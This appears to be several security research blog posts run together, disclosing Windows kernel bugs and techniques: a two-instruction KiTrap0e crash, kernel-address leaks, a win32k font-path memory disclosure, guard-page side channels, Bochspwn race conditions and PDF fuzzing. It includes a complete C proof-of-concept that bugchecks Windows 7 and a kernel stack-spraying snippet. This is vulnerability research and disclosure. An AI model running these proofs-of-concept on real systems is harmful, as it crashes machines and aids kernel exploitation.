Other than drinking, discussing 0-days and visiting Paris, I also had the pleasure to give a talk about the usual subject – Windows kernel security. The exact title of my presentation was “Abusing the Windows Kernel: How to Crash an Operating System With Two Instructions“, and touched on the subject of several different exploitation techniques, internal CPU related behavior and security vulnerabilities (all related to the Windows operating system) that I discovered during the course of last several weeks / months.

While the slide deck was made available to the attendees right at the beginning of my talk at nosuchcon.org/talks (great idea!), I’m reposting them here anyway, in case you haven’t had a chance to take a look yet. In fact, a majority of the talks were interesting and highly technical, so be sure to check the available material for all presentations ;-)

Download

Slides: “Abusing the Windows Kernel: How to Crash an Operating System With Two Instructions” (3.3MB, PDF)

KiTrap0e advisory: “Abusing Windows NT #PF Trap Handler to Bugcheck and Leak Information”

I originally planned to address six separate topics, but due to time constraints I decided to skip some of them in favor of the other ones. A brief description of each technique and vulnerability follows below.

• “nt!memcpy (and the like) reverse copying order” – certain implementations of the memcpy, memmove, RtlCopyMemory and RtlMoveMemory found in the kernel and third-party drivers alike handle the “overlapping regions” corner case by reversing the copy process order from the intuitive left-to-right to right-to-left direction. By starting to write at the end of the destination memory region, the functions facilitate successful exploitation of certain buffer overflow vulnerabilities, by allowing a (relative) write-what-where condition to be provoked.
  .
  While the technique works best for a kernel ← user copy on 64-bit platforms, it can also be applied to a number of other scenarios. For more information, please refer to the “Memory Copy Functions in Local Windows Kernel Exploitation” article published last year in the Hack in the Box Magazine, Issue 009. The Proof of Concept source code of a vulnerable device driver and an exploit used during live demonstration can be found at memcpy_ioctl.zip (3.9kB, ZIP). Note that the code has only been confirmed to be suspectible to a stack cookie bypass when built with WDK 7600.16385.1 for Windows 7 (x64 Free Build), although it should generally work for any 64-bit target.
  .
• “nt!memcmp double-fetch” – an interesting behavior found in the Windows 8 32-bit implementation of the nt!memcmp standard function, making it possible to fake matching regions when a user-mode pointer is passed as one of the function’s parameters. Due to lack of time, this was not covered at NSC; however, our SyScan’13 slides and paper explain the problem thoroughly.
  .
• “PAGE_GUARD and kernel code execution flow” – a technique already described in the “Fun facts: Windows kernel and guard pages” and “A story of win32k!cCapString, or unicode strings gone bad.” blog posts.
  .
• “SegSs, LDT_ENTRY.HighWord.Bits.Default_Big and IRETD” – due to how the “Big“ LDT entry flag in the SS: segment descriptor is handled by the IRETD instruction used for cross-privilege-level transfers in Windows, it is possible to have the CPU disclose the upper 16 bits of the current thread’s kernel stack pointer in 32-bit versions of Windows.
  .
  Proof of Concept source code: small_seg.zip (1kB, ZIP).
  .
  Example output:

  Z:\>smallseg.exe
  [+] High word of kernel stack address: 94070000
  
  Z:\>smallseg.exe
  [+] High word of kernel stack address: 94010000
  
  Z:\>smallseg.exe
  [+] High word of kernel stack address: 956b0000

• “Windows 32-bit Trap Handlers” – the lack of proper sanitization of the previous CPL inside several trap handlers used in 32-bit Windows can be leveraged to disclose addresses of several internal ntoskrnl.exe (or equivalent) symbols in the kernel address space, effectively defeating kernel ASLR (not that it matters much for this particular OS).
  .
  Proof of Concept source code: kitrap01.zip (1.3kB, ZIP) and kitrap0e_addr.zip (1.4kB, ZIP).
  .
  Example outputs:

  Z:\>kitrap01.exe
  [+] Kernel image base: 8320c000, size: 413000
  [+] Iteration 3d000 / 413000
  [+] nt!KiFastCallEntry address: 83249790

  Z:\>kitrap0e.exe
  [+] Kernel image base: 8320c000, size: 413000
  [+] Iteration 3d000 / 413000
  [+] Leaked address: 8324984c
  [+] Leaked address: 83249887
  [+] Iteration 41000 / 413000
  [+] Leaked address: 8324d4ed
  [+] Iteration 412000 / 413000

• “Crashing Windows and leaking bits” – the primary focus area of the overall talk. As it turns out, the nt!KiTrap0e #PF trap handler trusts the KTRAP_FRAME.Ebp field to be a valid kernel-mode pointer when processing faults occuring at a specific, magic Eip values. Again, due to lack of proper KTRAP_FRAME.SegCs sanitization, it is possible to craft a frame with controlled Eip and the user-mode Ebp register, allowing a local attacker to crash the system via an invalid memory reference, or otherwise disclose the least significant bit of any byte in the kernel address space.The two instructions capable of crashing all 32-bit Windows NT-family systems as of today are as follows:
  

  xor ebp, ebp

  jmp 0x8327d1b7

  where 0x8327d1b7 is the nt!KiSystemServiceAccessTeb address.

  Proof of Concept source code: kitrap0e_bsod.zip (0.5kB, ZIP), kitrap0e_leak_bits.zip (1.4kB, ZIP) and kitrap0e_addr_space.zip (1.5kB, ZIP). The programs unconditionally crash the operating system, allow disclosing specific bits of the kernel memory and scan the kernel address space layout, respectively.

A few days ago we (Gynvael and I) gave a talk during the SyScan’13 conference in the fine city of Singapore, and as promised (though with a slight delay), today we are publishing both the slide deck and a white paper discussing memory access pattern analysis – a technique we recently employed with success to discover around 50 double-fetch vulnerabilities in Windows kernel and related drivers (Elevation of Privileges and Denial of Service class; see Microsoft Security Bulletins MS13-016, MS13-017, MS13-031 and MS13-036 released in February and April this year. Also, stay tuned for more security patches in May and June).

In our SyScan presentation, we explained the concept of kernel race conditions in interacting with user-mode memory, gave a brief rundown on how they can be identified by using CPU-level instrumentation of an operating system session, and later focused on how they can be successfully exploited with the help of several generic techniques (on the example of three Windows vulnerabilities discovered by the Bochspwn project). While we only had the time to go through a single case study (the CVE-2013-1254 vulnerability in win32k!SfnINOUTSTYLECHANGE), both slides and the paper contain a detailed analysis of another local privilege escalation: CVE-2013-1278 in nt!ApphelpCacheLookupEntry, and an amusing case of a double fetch behavior (it is not clear if it can be classified as a bug) found in the default kernel implementation of the standard nt!memcmp function, as a bonus.

We hope you will enjoy both the slides and whitepaper – considering the amount of time we have dedicated to the research, we would really appreciate your feedback.

Download:

• Slides: “Bochspwn: Exploiting Kernel Race Conditions Found via Memory Access Patterns” (2.6MB, PDF)

• Paper: “Identifying and Exploiting Windows Kernel Race Conditions via Memory Access Patterns” (1.0MB, PDF)

Please note that we are not releasing the Bochspwn project at this time – we are planning to open-source it later this year. On the other hand, the demo videos for the CVE-2013-1254 and CVE-2013-1278 vulnerabilities shown during the talk are now available online:

The SyScan event itself was really fun – the speaker line-up was one of the best ones we have seen this year, ensuring high technical quality of the talks (which they were in fact quite inspiring), with nothing lacking on the organizational side. We were also positively surprised by the city-state of Singapore – it’s really a modern, clean and friendly place! We had a great time there and hope to visit it again soon ;)

Microsoft has been aware of the issue for over 4 months, but due to its low severity, I believe it is rather unlikely it will be fixed any time soon.

Unicode string security

All of the most recent versions of the Windows operating system (starting with Windows 2000) internally handle textual strings using the UTF-16 encoding and a UNICODE_STRING structure defined as follows:

typedef struct _LSA_UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;

Together with the structure definition, both user- and kernel-mode API interfaces provide a set of functions designed to initialize, examine, compare and otherwise operate on unicode strings, e.g. RtlInitUnicodeString, RtlAnsiStringToUnicodeString or RtlAppendUnicodeStringToString. In the above listing, the Length field represents the current length of the string in bytes (it must be a multiplicity of two due to the encoding used), MaximumLength indicates the total capacity of the buffer in bytes and Buffer points to the actual data. Note that both Length and MaximumLength fields are only 16-bits long, which is by far enough to accommodate the size of any string used during normal operation of the system. Perhaps contrary to intuition, the relatively limited ranges of the integers (making it possible to easily craft a string of a maximum size) do not pose any serious threat with regards to integer arithmetic, because overflowing either fields doesn’t give the attacker much edge. If you think about it, getting Length to be smaller than the actual length of the string can only lead to overwriting the existing buffer contents, but will never result in writing past the pool allocation. Similarly, setting MaximumLength to an overly small number only puts a more strict limitation on how many bytes can be stored in the corresponding buffer, or causes all subsequent calls to fail due to an invalid Length > MaximumLength condition. As a consequence, integer overflows are not of much interest in this context.

In general, the overall unicode-handling functionality is trivial enough that it is fairly uncommon to observe purely unicode-based vulnerabilities fixed in the Windows kernel. Interestingly, there are still several things that can go wrong as a result of programming mistakes made by kernel-mode developers, such as:

• Assuming that the Length or MaximumLength of a user-supplied UNICODE_STRING is divisible by two. Depending on various factors, this can lead to denial of service or even local elevation of privilege conditions under specific circumstances. For example, imagine the following snippet of device driver code:

  PUNICODE_STRING UserString = /* user-controlled source */;
  PWCHAR LocalString;
  UINT i;
  
  LocalString = ExAllocatePool(PagedPool, LocalString->Length);
  if (LocalString != NULL) {
    for (i = 0; i != UserString->Length; i += sizeof(WCHAR)) {
      LocalString[i / sizeof(WCHAR)] = UserString->Buffer[i / sizeof(WCHAR)];
    }
  }

  If a rogue user provided an input string with an odd number of bytes, the terminal condition for the for loop would be never met, thus resulting in writing past the pool-based buffer until either the source or destination region end, at which point the system would crash.

• Assuming that calls to Unicode API functions always succeed. If you look closely, it turns out that a number of the string manipulation routines can fail under specific conditions, and the fact is signalized by an appropriate error code. For example, MSDN lists the following two possible return values for the RtlAppendUnicodeStringToString function:
  • STATUS_SUCCESS: The source string was successfully appended to the destination counted string. The destination string length is updated to include the appended bytes.
  • STATUS_BUFFER_TOO_SMALL: The destination string length is too small to allow the source string to be concatenated. Accordingly, the destination string length is not updated.

  The consequences of assuming that every operation succeeds can vary, depending on what other assumptions are derived from the original one. If a buggy driver assumes that once an “append” call completes, the Length field has a specific value without really verifying it, it can end up disclosing random pool bytes or doing something even more dangerous.

• Directly mangling with the UNICODE_STRING fields. The Unicode API is designed so that it is impossible to cause memory corruption only by using the system provided functions. However, modifying the values on one’s own is very easy to get wrong, at the risk of a potential security vulnerability.

Now back to the symbol from the title of the post: win32k!cCapString. A pseudocode C-like version of the routine found in win32k.sys on a fully patched Windows 7 SP1 32-bit platform is shown below:

INT cCapString(WCHAR *dst, WCHAR *src, UINT len) {
  PWCHAR src_end;
  PWCHAR i;
  INT real_len;
  UNICODE_STRING DestinationString;
  UNICODE_STRING SourceString;

  src_end = &src[len - 1];
  for (i = src; i < src_end; i++) {
    if (*i == L'\0') {
      break;
    }
  }

  real_len = i - src;
  if (real_len) {
    SourceString.Length = 2 * real_len;
    SourceString.MaximumLength = 2 * len;
    SourceString.Buffer = src;

    DestinationString.MaximumLength = 2 * len;
    DestinationString.Buffer = dst;

    RtlUpcaseUnicodeString(&DestinationString, &SourceString, 0);
  }

  dst[real_len] = L'\0';
  return real_len;
}

The routine is very simple in its principle: given a source unicode string, a destination buffer and its size expressed in wide characters, the function copies an upper-case version of src to dst. When you investigate the code, it becomes apparent that there are at least three problems with the implementation:

1. Given a long enough input string, the expressions in lines 17, 18 and 19 can overflow the USHORT type. This in itself wouldn’t be too bad if the values assigned to SourceString.Length and DestinationString.MaximumLength were consistent. However, due to the fact that real_len is calculated separately, it is theoretically possible to set each field to any value independently, including numbers that result in an errornous Length > MaximumLength condition. When RtlUpcaseUnicodeString encounters a SourceString.Length > DestinationString.MaximumLength situation, here’s what happens:

     else if (SourceString->Length > DestinationString->MaximumLength) {
       return STATUS_BUFFER_OVERFLOW;
     }

2. The return value of RtlUpcaseUnicodeString is not verified in any way.
3. The cCapString function itself doesn’t implement error handling, thus it is unable to inform the caller about a potential problem in capturing the input string. Instead, it always returns the “real length” of src as the number of captured bytes.

Based on the above, it is possible to cause the function to misbehave by not writing anything at all to dst (due to the failing RtlUpcaseUnicodeString call), yet returning the number of non-null characters in the input string as the number of captured bytes. This is achieved by passing a string consisting of 32768 characters and putting a unicode null at the desired position, later used as the cCapString return value. Now, let’s find out if callers of the buggy function allow user-mode to pass arbitrarily-sized strings, in the first place!

On Windows 7, the routine is invoked from 16 different locations. While originally investigating the issue, I have gone through the trouble of looking into each of them, concluding that the only one with any exploitability potential is win32k!bCheckAndCapThePath, implemented as follows:

BOOLEAN bCheckAndCapThePath(PWCHAR dst, PWCHAR src, ULONG len, ULONG exp_files) {
  INT act_files;
  ULONG i;

  /* Sanitize the (src, len) pair. */

  if (src[len - 1] != L'\0') {
    return false;
  }

  cCapString(dst, src, len);

  for (i = 0, act_files = 1; i < len; i++) {
    if (dst[i] == L'|') {
      dst[i] = L'\0';
      act_files++;
    }
  }

  return (exp_files == act_files);
}

What the function does is basically call cCapString over the input arguments, count the number of the “|” unicode character instances in the resulting buffer and check if the count matches one of its arguments. Once again, the routine unconditionally assumes that cCapString always succeeds, and doesn’t even bother checking or using its return value – instead, it iterates through all len characters. There are two scenarios in which the function will start accessing uninitialized bytes in dst: one because of the bugs in cCapString, and one because of bCheckAndCapThePath itself:

1. If the nested RtlUpcaseUnicodeString call fails entirely, none of the bytes in dst are properly initialized. The L’|’ characters are counted in a buffer that only contains garbage.
2. If we insert a nul character somewhere inside of the string in addition to the end, real_len will be smaller than len, thus dst will be only partially filled. Because the function discards all signs of the real length of dst (return value of cCapString, nul character at the end), the “for” loop will iterate through garbage data of size len – real_len.

The bCheckAndCapThePath has three different callers: NtGdiAddFontResourceW, NtGdiRemoveFontResourceW and NtGdiGetFontResourceInfoInternalW.  The parameters passed to bCheckAndCapThePath are based on the syscalls’ arguments in the following manner:

• dst is a kernel-mode buffer, allocated from:
  • the syscall handler’s stack (a local buffer), if the length is below or equal to 160 bytes.
  • session paged pool, if the length is below or equal to 2088 bytes (for NtGdiAddFontResourceW), or 40960000 bytes (for NtGdiRemoveFontResourceW and NtGdiGetFontResourceInfoInternalW)
• src is a user-controlled pointer.
• len is the user-controlled length of dst.
• files is a user-controlled number.

This means that the first bug (integer overflow in MaximumLength) can be triggered using the “Remove” and “Get” system calls because they allow long enough strings to be passed down the call chain, and the second one (misplaced nul) can be triggered with all three services. Simply put, the vulnerability allows an attacker to ask the following question:

Is the number of the “0x007c” words found at even offsets of an uninitialized stack buffer (up to 160 bytes long) or session paged pool buffer (up to 40960000 bytes) equal to x?

where the value of x and length of the buffer are controlled by the attacker. If we don’t guess correctly, we never get a second chance for the same memory region, as all instances of 0x007c are instantly replaced with 0×0000 inside the counting loop. The answer to the question is returned in the form of a boolean value from the bCheckAndCapThePath call; in order to disclose the information to user-mode, that return value must be somehow recovered from ring-3. If we decide to use NtGdiRemoveFontResourceW for further exploitation, it turns out that its code execution path highly depends on the result of the bCheckaAndCapThePath invocation. More precisely, the following construct can be found in the function:

if (bCheckAndCapThePath(dst, src, len, files)) {
  /* Sanitize "PDWORD a6", the sixth syscall parameter */

  UINT value = a6[1];

  /* Implement the rest of the functionality */
}

The fact that the user-supplied pointer from the 6-th parameter is referenced if and only if the previous function call succeeds can be taken advantage of in two different ways. The first idea involves carrying out a timing attack: we can pass an invalid pointer as a6, thus getting the kernel to generate an exception in case of a correct guess. There is a fine difference in the amount of time taken by the kernel to properly dispatch the exception in comparison to just normally exiting the syscall handler. The following list of values illustrates the timings (in CPU ticks) achieved for buffer size=160 and a correct guess (none 0x007c words in the region) vs. an incorrect guess (one hundred 0x007c words in the region, obviously false):

1. correct: 128404 ticks, incorrect: 730 ticks
2. correct: 8751 ticks, incorrect: 643 ticks
3. correct: 4462 ticks, incorrect: 614 ticks
4. correct: 4395 ticks, incorrect: 640 ticks
5. correct: 4169 ticks, incorrect: 600 ticks
6. correct: 4221 ticks, incorrect: 593 ticks
7. correct: 4204 ticks, incorrect: 588 ticks
8. correct: 4145 ticks, incorrect: 596 ticks
9. correct: 4157 ticks, incorrect: 596 ticks
10. correct: 4143 ticks, incorrect: 594 ticks
11. correct: 4160 ticks, incorrect: 596 ticks
12. correct: 4334 ticks, incorrect: 643 ticks
13. correct: 4131 ticks, incorrect: 591 ticks
14. correct: 4160 ticks, incorrect: 596 ticks
15. correct: 4143 ticks, incorrect: 596 ticks
16. correct: 4145 ticks, incorrect: 591 ticks
Minimum correct: 4131 ticks, incorrect: 588 ticks

As clearly visible, it takes approximately eight times longer for the system call to complete if we make a correct guess, making it trivially distinguishable from an incorrect hit. As you can probably imagine at this point, the attack can be also conducted in a more deterministic way, by making use of the technique discussed last time. Instead of passing an invalid pointer and hoping for an exception to occur, we can set it to a PAGE_GUARD-protected memory page and later determine if the memory was accessed by testing the guard bit of the page!

It is rather uncommon to observe the 0x007c word in random garbage on the stack or pool allocations. In order to test if the exploit implementing the guard page idea works, we can intentionally spray the kernel-mode stack of the current thread with the expected value, as described in the “nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques” post from two years ago:

  CONST ULONG kSprayingSize = 4096;

  PWORD lpSprayBuffer = (PWORD)malloc(kSprayingSize);
  for (ULONG i = 0; i < kSprayingSize / sizeof(WORD); i++) {
    lpSprayBuffer[i] = 0x007c;
  }

  SystemCall(__NR_NtMapUserPhysicalPages,
             NULL,
             kSprayingSize / sizeof(DWORD),
             lpSprayBuffer);

After running the above snippet of code, we can proceed to disclosing the locations of the magic words on stack. In order to capture the precise location of each of them, we need to scan the stack progressively, i.e. iterate through the 1, 2, 3, …, 80 buffer sizes and set the the guessed “|” count to 1. This way, we can mitigate the fact that each guess attempt removes the special characters from the examined memory area. The final result of a working proof of concept exploit is the following output:

Word 0x007c found at kernel stack offsets: {0xc, 0xe, }

which proves truthful given the actual stack layout:

0: kd> dw eax
8a727b58  fe74 0022 52c0 86cd e4d0 85af 007c 007c <=== here
8a727b68  0400 0000 e220 85af 63b0 86f2 9350 c03a
8a727b78  58d7 832e ab6c 8462 7bec 8a72 1000 8074
8a727b88  0110 0000 0008 0000 0100 0000 0000 0000
8a727b98  0000 0000 1000 0000 0000 0000 4934 0002
8a727ba8  7c1c 8a72 1638 8329 ff7e 0003 0110 0000
8a727bb8  a335 7526 0000 0000 0016 0000 0000 0000
8a727bc8  0000 0000 0000 0001 1000 0000 0000 0000

The source code of both proof of concept exploits for Windows 7 32-bit can be found here and here.

Bonus

In addition to the Unicode bug, there is also a fairly trivial NULL Pointer Dereference issue of a Denial of Service class in NtGdiGetFontResourceInfoInternalW. If we pass in valid syscall parameters, with the exception of the 4th argument which needs to be a number larger than 0×2710000 (e.g. INT_MAX), the following bugcheck is triggered:

FAULTING_IP: 
win32k!GetFontResourceInfoInternalW+183
82ea70ab 8901            mov     dword ptr [ecx],eax

TRAP_FRAME:  9785ba28 -- (.trap 0xffffffff9785ba28)
ErrCode = 00000002
eax=00000001 ebx=fffffffe ecx=00000000 edx=00000021 esi=ffac2568 edi=00000000
eip=82ea70ab esp=9785ba9c ebp=9785baac iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
win32k!GetFontResourceInfoInternalW+0x183:
82ea70ab 8901            mov     dword ptr [ecx],eax  ds:0023:00000000=????????
Resetting default scope

DEFAULT_BUCKET_ID:  INTEL_CPU_MICROCODE_ZERO

BUGCHECK_STR:  0x8E

PROCESS_NAME:  a.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from 83330d8f to 832cc570

STACK_TEXT:  
9785afdc 83330d8f 00000003 06a179e1 00000065 nt!RtlpBreakWithStatusInstruction
9785b02c 8333188d 00000003 9785b430 00000000 nt!KiBugCheckDebugBreak+0x1c
9785b3f0 83330c2c 0000008e c0000005 82ea70ab nt!KeBugCheck2+0x68b
9785b414 833063be 0000008e c0000005 82ea70ab nt!KeBugCheckEx+0x1e
9785b9b8 832904a6 9785b9d4 00000000 9785ba28 nt!KiDispatchException+0x1ac
9785ba20 8329045a 9785baac 82ea70ab badb0d00 nt!CommonDispatchException+0x4a
9785baac 82e7141a 9785bb54 00000021 00000001 nt!Kei386EoiHelper+0x192
9785bc10 8328f8ba 0022febe 00000021 00000001 win32k!NtGdiGetFontResourceInfoInternalW+0x103
9785bc10 00401397 0022febe 00000021 00000001 nt!KiFastCallEntry+0x12a
WARNING: Stack unwind information not available. Following frames may be wrong.
0022fe88 0040141b 000010b9 0022febe 00000021 a+0x1397
0022ff18 004010b9 00000000 7ffdd000 0022ff68 a+0x141b
0022ff68 00401284 00000001 00000000 00000000 a+0x10b9
0022ff88 7570ed6c 7ffdd000 0022ffd4 7718377b a+0x1284
0022ff94 7718377b 7ffdd000 7476b3b1 00000000 kernel32!BaseThreadInitThunk+0xe
0022ffd4 7718374e 0040126c 7ffdd000 00000000 ntdll!__RtlUserThreadStart+0x70
0022ffec 00000000 0040126c 7ffdd000 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND:  kb

FOLLOWUP_IP: 
win32k!GetFontResourceInfoInternalW+183
82ea70ab 8901            mov     dword ptr [ecx],eax

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  win32k!GetFontResourceInfoInternalW+183

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: win32k

IMAGE_NAME:  win32k.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  51301bf1

FAILURE_BUCKET_ID:  0x8E_win32k!GetFontResourceInfoInternalW+183

BUCKET_ID:  0x8E_win32k!GetFontResourceInfoInternalW+183

Followup: MachineOwner
---------

A Proof of Concept exploit source code for Windows 7 32-bit is as follows:

#include <limits.h>
#include <windows.h>

#define __NR_NtGdiGetFontResourceInfoInternalW 0x10b9

ULONG STDCALL SystemCall(DWORD ApiNumber, ...) {
  __asm("lea edx, [ebp+0x0c]");
  __asm("mov eax, %0":"=m"(ApiNumber));
  __asm("int 0x2e");
  __asm("leave");
  __asm("ret");
}

int main() {
  CONST WCHAR pwszFiles[] = L"\\??\\C:\\WINDOWS\\FONTS\\AHRONBD.TTF";

  LoadLibrary("user32.dll");
  SystemCall(__NR_NtGdiGetFontResourceInfoInternalW,
             pwszFiles,
             sizeof(pwszFiles) / sizeof(WCHAR),
             1,
             INT_MAX,
             0xAAAAAAAA,
             0xBBBBBBBB,
             0);

  return 0;
}

• SyScan in Singapore (22-26th of April) with Gynvael Coldwind: “Bochspwn: Exploiting Kernel Race Conditions Found via Memory Access Patterns”. We will be discussing a personal project of ours that led to the discovery of around 50 local vulnerabilities in the Windows kernel, some of them already patched in the February and April security bulletins (ms13-016, ms13-017, ms13-031, ms13-036).
• NoSuchCon in Paris (15-17th of May): “Abusing the Windows Kernel: How to Crash an Operating System With Two Instructions“
• SEConference in Cracow (24-25th of May): “Bezpieczeństwo jądra Windows, lub jak zabić system dwoma instrukcjami”
• CONFidence in Cracow (28-29th of May) with Gynvael Coldwind: “Beyond MOV ADD XOR – the unusual and unexpected in x86″
• BlackHat US in Las Vegas (27th of July – 1st of August) with Gynvael Coldwind: TBA (not yet accepted, but going there either way)

If you are planning to attend any of the above, feel free to ping me so that we can have a beer or two. Otherwise, I will be posting the slides / whitepapers on the blog directly following my presentation at each event, in case you’re interested in the materials.

In other news, last Tuesday Microsoft unexpectedly patched the NTFS.sys device driver vulnerability that we described several months ago in the “Introducing the USB Stick of Death” blog post, despite making a prior claim that vulnerabilities which require Administrative and/or physical access to the victim machine are out of scope and are not considered security issues. While this is surprising in itself, the ms13-036 bulletin containing the fix has apparently broken a lot of Windows-driven platforms, to the point where the vendor removed the specific 2823324 update from the download center entirely. Such situations are uncommon to see, and this particular one is most likely evidence of how third-party software can rely on unsupported or internal OS behavior. I would be really interested to read a post-mortem, but I guess a binary diff of the old and new (if one comes out) patch will have to do. Stay tuned for the analysis.

Now, let’s get to the merit of this post.

Guard pages

The Windows operating system supports all page access rights made available by the X86 and X86-64 architectures: by using functions such as VirtualAlloc or VirtualProtect, one can specify any combination of the R/W/E flags for a group of adjacent user-mode memory pages, or none of them (PAGE_NOACCESS). In addition to these standard rights, Windows additionally implements several custom memory page characteristics, used to facilitate various common tasks performed during normal system execution, such as PAGE_GUARD, PAGE_NOCACHE or PAGE_WRITECOMBINE (all of them described in the “Memory Protection Constants” MSDN article). The PAGE_GUARD flag is particularly interesting here, as it works as a one-time PAGE_NOACCESS marker; i.e. after setting the modifier on a single memory page, the first operation against the page results in triggering a STATUS_GUARD_PAGE_VIOLATION exception and automatically restoring its original access rights.

Among other things, the mechanism is extensively used to implement stack expansion in both ring-3 and ring-0 modes: instead of backing the overall stack region with actual memory, operating systems initially commit only few pages and expand the stack when explicitly required – that is, when a guard page placed at the bottom of the currently commited region is touched by executable code for the first time. The concept is better illustrated by the figure below:

Stack expansion is the most typical use-case for guard pages; however, it turns out that they can also be used for different purposes. Imagine the following snippet of C code as part of an IOCTL handler implementation:

__try {
  CONST DWORD dwSecrets[] = {0xBBADBEEF, 0xDDEFACED};
  BOOLEAN bCheckPassed = TRUE;
  UINT i;

  for (i = 0; i < 2; i++) {
    if (RtlCompareMemory(&lpUserPointer[i], &dwSecrets[i], sizeof(DWORD)) != sizeof(DWORD)) {
      bCheckPassed = FALSE;
      RtlZeroMemory(&lpUserPointer[i], sizeof(DWORD));
      break;
    }
  }
} except(EXCEPTION_EXECUTE_HANDLER) {
  return STATUS_UNSUCCESSFUL;
}

While the total length of the secret value compared against is 64 bits, it is rather obvious that line 9 makes it possible to determine the secret as two 32-bit numbers. This is caused by the fact that zeroing out a user-mode memory region containing an invalid value gives us feedback on how far it has gone in comparing the overall 64-bit bitstream. By observing if the first DWORD in the user-mode buffer changes to 0, we can deduce whether it was guessed correctly and proceed to the second part of the secret. However, if the ninth line was removed from the implementation, things would become more complicated. Thanks to the explicit break, we could try to infer information about matched parts of the password by performing precise time measurements in order to extract subtle differences in the number of instructions executed. While effective in many scenarios, timing attacks tend to be costly (due to the need for multiple attempts to obtain reliable results) and sometimes even not possible at all. In that case, we can make use of another simple observation (the subject of this post): ring-0 code triggers guard page exceptions in the same way ring-3 code does. This essentially means that an attempt to access a guarded page will trigger an exception and clear the guard bit as normal, therefore providing the user-mode with information of whether a memory region was accessed in kernel-mode, or not.

If we aim to disclose the information about how far a kernel routine has reached in its execution and it includes multiple user-mode memory fetches (from different addresses), we can accurately determine the code coverage of that function with the granularity of the input data reads. This is particularly useful if the routine in question does not provide any feedback in that regard by itself, e.g. it always returns the same error code regardless of the actual problem (as in the example above). Applications can test the PAGE_GUARD bit of a local memory page by using the VirtualQuery API. One practical usage of this simple idea against a 0-day low-severity information disclosure vulnerability in the Windows kernel will be discussed in detail in a blog post next week. Another theoretical scenario where it could prove useful is when a vulnerable driver passes a user-mode pointer as a parameter to the memcmp or RtlCompareMemory function (which is wrong for other reasons, too). Given that both functions compare words of native CPU size (four bytes on X86, eight bytes on X86-64), passing a ring-3 pointer to either routine would make it easily possible to recover the overall expected input in chunks of 32 or 64 bits, depending on the architecture, as shown below.

Obviously, the technique can be only potentially useful in local scenarios, for exploitation of specific (uncommon) types of information disclosure bugs, possibly as an alternative to timing attacks. It’s still quite fun, and will hopefully make a little more sense provided a real-world example which will be described in a separate blog post soon. Cheers!

Almost five months ago, Gynvael Coldwind and I wrote about an effort to improve the security of popular PDF parsing and rendering software; back then, we were primarily focused on the Chrome PDF Renderer and latest Adobe Reader applications. In order to achieve our results, we used several hundred CPU cores to create a unique, minimal set of PDF documents aimed at optimal code coverage. That corpus, which we now consider a fundamental part of our bug hunting success, was used as fuzzing input to numerous mutation algorithms (basic bitflipping, undisclosed PDF-specific algorithms that respect the primary rules of a document’s structure, and things in between).

As a quick recap, we found more than 50 vulnerabilities ranging from low (unlikely exploitable) to high (serious memory errors) severity in the PDF-parsing component of Google Chrome with the help of AddressSanitizer. All of these were fixed by the Chrome Security Team by August 2012, mostly by Chris Evans – kudos! In addition to that, we also reported around 60 Adobe Reader crashes appearing to be unique in June last year. This consequently resulted in a total of 25 separate fixes addressed by 12 CVEs, as described by the Adobe in their APSB12-16 security bulletin and implemented in the new 9.5.2 and 10.1.4 versions of the software for Windows and Mac OS X platforms. Unfortunately, a few very important questions remained unanswered, such as “what about the remainder of the reported bugs?” and “what about the security of Reader for Linux users?”. With Adobe releasing new versions for all supported Reader branches and platforms today (9, X, XI for Windows, Mac OS X and Linux), we would like to take the chance to give you an update on where we stand with PDF fuzzing, and what thoughts we have around Reader and the many other pieces of software people use in their daily work with documents.

Let’s start with Google Chrome – has anything changed since our last posting? Well, we’ve kept playing with different fuzzing configurations and algorithmic approaches, and discovered 20 new security issues over the last six months, summing up to a total of 78 unique bugs found and fixed in the renderer in 2012. As of now, we are not aware of any unfixed non-DoS issues in the PDF Chrome component.

[134955] [135488] [137106] [137288] [137302] [137547] [137556] [137606] [137635] [137880] [137928] [144579] [145079] [145121] [145163] [146462] Medium CVE-2012-2875: Various lower severity issues in the PDF viewer. Credit to Mateusz Jurczyk of Google Security Team, with contributions by Gynvael Coldwind of Google Security Team.

[143798] [144072] [147402] High CVE-2012-2890: Use-after-free in PDF viewer. Credit to Mateusz Jurczyk of Google Security Team, with contributions by Gynvael Coldwind of Google Security Team.

[145029] [145157] [146460] High CVE-2012-2895: Out-of-bounds writes in PDF viewer. Credit to Mateusz Jurczyk of Google Security Team, with contributions by Gynvael Coldwind of Google Security Team.

Coincidentally, the Chrome Security Team just doubled the rewards for all significant vulnerabilities found in the PDF renderer, see a complete list of changes to the VRP rules at http://blog.chromium.org/2012/08/chromium-vulnerability-rewards-program.html. For anyone interested, Chrome Security issues eligible for a reward (all other, too) can be filed under http://crbug.com/. Good luck!

We used our corpus to fuzz two other PDF projects: poppler, an actively-maintained open-source library having its roots in xpdf (which it was originally a fork of) and ghostscript, which includes its own lightweight PDF parsing library called MuPDF. Both libraries can be downloaded and built manually, enabling the usage of AddressSanitizer, and thus, improving the memory error detection ratio. As you might expect, a number of serious problems have been localized in these projects, and they are currently being worked on by their respective development teams, together with some security teams associated with Linux distributions. We would especially like to thank Huzaifa Sidhpurwala from RedHat Security here for his continued interactions with project maintainers on our behalf, passing along reports and being an all-around helpful guy. The general progress in fixing bugs in both projects can be observed in respective upstream git browers: http://cgit.freedesktop.org/poppler/poppler and http://git.ghostscript.com/?p=mupdf.git;a=summary. We estimate that it might take another few weeks or months until the libraries reach a state where no low-hanging fruit vulnerabilities can be easily fuzzed out. Until then, we recommend any potential direct or software wrapped use of the software (such as Okular) be done with extreme care where sensitive data is at risk, either by running them in a properly sandboxed environment, or only against fully trusted input data.

